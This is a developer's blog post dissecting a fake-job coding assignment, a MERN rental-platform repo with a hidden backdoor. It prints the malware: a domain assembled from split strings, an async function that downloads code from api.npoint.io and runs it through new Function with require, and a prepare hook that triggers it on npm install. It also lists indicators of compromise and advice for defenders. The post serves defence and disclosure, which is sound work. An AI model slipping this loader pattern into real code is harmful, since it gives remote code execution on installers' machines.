Blog
Development·7 min read

They Tried Again: Dissecting a Second Fake Job Malware Attack

One week after the first crypto job scam, another recruiter sent me a rental platform repo with a remote code execution backdoor hidden in plain sight.

Jo Vinkenroye·March 2, 2026
They Tried Again: Dissecting a Second Fake Job Malware Attack

One week. That's how long it took for the next one to show up

If you read my last post, you know I nearly fell for a fake job coding assignment that hid malware on the Binance Smart Chain. That one was a poker platform with blockchain-hosted payloads

This time it's a "Copia rental platform" — a villa booking app built with React, Express, and MongoDB. Different skin, same game

And they almost made it harder to catch

The Pitch

Same playbook as last time. Recruiter reaches out, job sounds good, here's a repo to review as a take-home assignment

The project looks like a standard MERN stack rental app. Villas, booking, user auth, chat. Clean React frontend with react-router, Express backend with JWT authentication, Socket.io for real-time messaging

Copia-rental_platform/
├── src/
│ ├── components/ # Home, Villas, Contact, Navbar, Footer
│ ├── subComponents/ # HeroSection, Regions, TopVillas
│ ├── server/
│ │ ├── controllers/ # auth, product, seller, chat
│ │ ├── middleware/ # JWT socket auth
│ │ ├── models/ # User, Product, Chat
│ │ ├── routers/ # Express routes
│ │ └── utils/ # ...this is where it gets weird
│ └── App.jsx
├── package.json
└── vite.config.js

At first glance it passes the smell test. Real components, real auth flow, real CRUD operations

Red Flag #1: The utils Directory

The server has a utils/ directory filled with files that have absolutely nothing to do with renting villas:

src/server/utils/
├── actions/
│ ├── rarity_core_attributes.js
│ ├── rarity_extended_boars.js
│ ├── rarity_extended_crafting_helper.js
│ ├── rarity_extended_daycare.js
│ ├── rarity_extended_equipment.js
│ ├── rarity_extended_farming.js
│ ├── rarity_extended_name.js
│ ├── rarity_openmic_perform.js
│ ├── rarity_theForest.js
│ ├── vaults.js
│ └── utils.js
├── index.js
└── performBatchedUpdates.js

These are all stolen from Rarity Extended, a blockchain RPG game. The files still have the original author headers with @Author: Rarity Extended and @Twitter: @RXtended

A rental platform doesn't need apeInVault(), claimGold(), recruitAdventurer(), or lootDungeonTheCellar(). This code exists purely to pad the repo and make it look like a larger, more legitimate project

Red Flag #2: The Git History

The commit history tells the real story:

61e64fb updated backend functions 4
5b66b14 updated backend functions 3
776cc7f deleted backend api connection
...
01f085f 0xdj28f8q2hfe
bc7d74c 0xkaf28fjdrafh
c2ff83a 0xioadq328fakfw
1a6db3e 0xi2fidkkfkw
8e1734a 0xdafk3afdufh2
...
7b2d903 Initial commit

Over 40 commits with fake hex-looking messages designed to look like blockchain transaction hashes. Four different author identities — smitrajput, rcstanciu, fadeev, passabilities — all committing to make it look like a real team built this over time

Nobody names their commits 0xmcr214a31be. This is theater

Red Flag #3: The prepare Script

Just like last time:

{
"scripts": {
"start": "npm run server | vite",
"prepare": "node ./src/server/app.js | vite",
"server": "node ./src/server/app.js"
}
}

The prepare lifecycle hook runs automatically on npm install. It starts the backend server. The server loads the controllers. And one of those controllers has a surprise waiting

The Payload

Here's the malware, hidden in src/server/controllers/product.js between completely normal CRUD functions:

const subDomain1 = "api.np";
const subDomain2 = "oint.io";
const domain2 = subDomain1 + subDomain2;
const uuid = "c237b2d383b98719acdc";

The domain is split into two strings. "api.np" + "oint.io" assembles to api.npoint.io — a JSON hosting service. If you grep the codebase for suspicious URLs, you won't find one. Clever

Then buried between getBidHistory and updateProduct:

(async () => {
const res = await axios.get(`https://${domain2}/${uuid}`);
new Function("require", res.data.model)(require);
})();

A self-invoking async function that downloads code from the remote server and executes it with new Function(), passing require for full Node.js access

Same technique as the poker scam. Same new Function("require", payload)(require) pattern. Different delivery mechanism — this time it's a JSON API instead of a blockchain smart contract

Comparing the Two Attacks

The poker scam (week 1) disguised itself as a Web3 poker platform. It hosted its payload on a Binance Smart Chain smart contract, triggered by a configureCollection() call. The obfuscation relied on normal-sounding function names, and the filler code was chess events in a poker app

The rental platform (week 2) poses as a villa booking site. It hosts its payload on npoint.io, a JSON API service. The trigger is a self-invoking IIFE buried between normal exports. The obfuscation uses split domain strings, and the filler code is a blockchain RPG game stuffed into a rental app

What stays the same: the prepare hook auto-executes on install. Both use new Function("require", payload)(require) to run downloaded code with full system access

The core technique is identical. Download a string, execute it as code, pass require to give it full system access

The npoint.io approach is actually less sophisticated than the blockchain version. A JSON endpoint can be taken down. A smart contract is immutable. But it's also faster to set up and easier to update

What's Different This Time

The string splitting is new. Instead of having a full URL in the code, they break the domain across multiple variables. This defeats simple grep searches for known malicious domains

The placement is also more subtle. In the poker scam, the malware trigger was a standalone function call at the end of server startup. Here it's an anonymous IIFE squeezed between two normal export functions in a controller file. You'd have to read every line to catch it

And the filler code is smarter. Last time they had chess events in a poker game. This time the stolen Rarity Extended code at least relates to crypto/Web3, which is marginally more plausible in the context of a Node.js project

The Pattern

This is the Contagious Interview campaign. Attributed to North Korea's Lazarus Group. They target developers — especially those in crypto — through fake job offers

The formula:

  1. Fake recruiter reaches out with a good opportunity
  2. Professional interview process builds trust
  3. Take-home coding assignment delivered as a GitHub repo
  4. npm install triggers the payload
  5. Your machine is compromised

Two attempts in one week tells me they're scaling up. Either I'm on a list now, or the net is getting wider

What To Do

If you get a take-home assignment from a recruiter:

  1. Read package.json scripts before anything else — prepare, preinstall, postinstall are auto-run hooks
  2. Search for new Function, eval, Function( across the codebase
  3. Look for string concatenation that builds URLs or domain names
  4. Check if the utils or lib directories actually match the project's purpose
  5. Look at the git history — fake hex commits and multiple authors on a small project are red flags
  6. Run it in a Docker container or VM if you run it at all

If you already ran npm install on a suspicious repo:

  • Assume compromised. Rotate all credentials, check for unknown processes, scan browser extensions
  • Move crypto off any wallet that was accessible from that machine
  • Check ~/.ssh/, ~/.aws/, browser profiles for signs of exfiltration

Indicators of Compromise

For anyone doing threat research:

  • Payload URL: https://api.npoint.io/c237b2d383b98719acdc
  • Technique: String splitting to assemble domain ("api.np" + "oint.io")
  • Execution: new Function("require", res.data.model)(require)
  • Git author: smitrajput <smitrajputtd@gmail.com>

Final Thought

Twice in one week. Same technique, different wrapper

The first one almost got me because I didn't expect it. This one didn't because I now audit every take-home before touching it. That paranoia saved me

If you're job hunting as a developer right now, especially in crypto or Web3 — your code review skills need to start with the assignment itself. Before you write a single line of code, read theirs

The recruiter might be fake. The company might be fake. But the malware is very real

Stay Updated

Get notified about new posts on automation, productivity tips, indie hacking, and web3.

No spam, ever. Unsubscribe anytime.

Comments

Related Posts